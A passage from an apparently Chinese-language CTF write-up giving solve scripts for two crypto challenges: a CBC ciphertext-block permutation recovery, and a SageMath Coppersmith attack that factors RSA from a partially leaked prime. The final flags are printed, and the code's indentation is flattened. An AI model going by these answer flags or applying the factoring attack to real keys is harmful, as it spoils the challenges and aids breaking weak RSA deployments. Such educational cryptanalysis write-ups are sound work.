c1 = bytes.fromhex("caf7bc1223c17f848aec854a87b8958d4c518f7287663bfae0b6a5a1e0f0eb95b50c9ea6789a7d77fda5f50d1b8a2183b40cab693ebacf32a9b59faf3b0084ff")
c2 = bytes.fromhex("b40cab693ebacf32a9b59faf3b0084ffcaf7bc1223c17f848aec854a87b8958db50c9ea6789a7d77fda5f50d1b8a21834c518f7287663bfae0b6a5a1e0f0eb95")
c1_blocks = [c1[i:i+16] for i in range(0, len(c1), 16)]
c2_blocks = [c2[i:i+16] for i in range(0, len(c2), 16)]
m1_blocks = [m1[i:i+16] for i in range(0, len(m1), 16)]
perm = [0] * 4
for i in range(4):
for j in range(4):
if c1_blocks[i] == c2_blocks[j]:
perm[i] = j
break
print(perm)
# [1, 3, 2, 0]
decrypted_blocks = [bytes([0]*16) for _ in range(4)]
for i in range(4):
pos = perm.index(i)
if pos == 0:
decrypted_blocks[i] = bytes([m1_blocks[pos][j] ^ IV1[j] for j in range(16)])
else:
decrypted_blocks[i] = bytes([m1_blocks[pos][j] ^ c1_blocks[pos-1][j] for j in range(16)])
m2_blocks = [bytes([0]*16) for _ in range(4)]
for i in range(4):
if i == 0:
m2_blocks[i] = bytes([decrypted_blocks[i][j] ^ IV2[j] for j in range(16)])
else:
m2_blocks[i] = bytes([decrypted_blocks[i][j] ^ c2_blocks[i-1][j] for j in range(16)])
m2 = b''.join(m2_blocks)
print(m2)
# b'flag{cbc_dancing_1s_the_best_XD_miaowu~_wangang~}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'[Cry]被泄露的素数
开始还以为是二元copper。。。输出一下发现缺失的高位只有3,直接爆破,低位正常coppersmith即可
"""SageMath version 10.7"""
from Crypto.Util.number import *
n = 21934359804505952036862374470121480969133157443403593676896735938967557380443712142948340045099502553395200377704119756795591494784154969814547228557820800704252137319116648069964954630897500682893049024415124688093092305470777707518715866086606412935218188227137641451025015198528792875781144610650284639622563092129651357421263335843442984066367152832534441036576325851144177987730637618561519998767356432693944920792456483071919398611969079921679238886430086602278453518529089393964226042148309150493671461870755024341916271456658974034765995703658414257129652933251962572776586195115459121872074657802310744772937
e = 65537
with open("ciphertext.bin", "rb") as f:
c = bytes_to_long(f.read())
with open("partial_p.txt", "r") as f:
p_know = int(f.read().replace("???", ""), 16)
t1 = int(1024 * 2/3) - p_know.bit_length() # 高位缺少 == 3 很小!!!
t2 = 1024 - int(1024 * 2/3) # 低位未知
t3 = 1024 - t1
P.<x> = PolynomialRing(Zmod(n))
for k in range(1,2^4):
f = k*2^t3 + p_know*2^t2 + x
res = f.small_roots(X=2^(t2+1), beta=0.4)
if res:
p = int(k*2^t3 + p_know*2^t2 + res[0])
break
q = n // p
print(long_to_bytes(pow(c,inverse(e,(p-1)*(q-1)),n)))
# b'flag{wh3n_th3_m0dul3_i3_bi9_en0ugh_U_c@n_c0ns1der_u3ing_coppersmith}'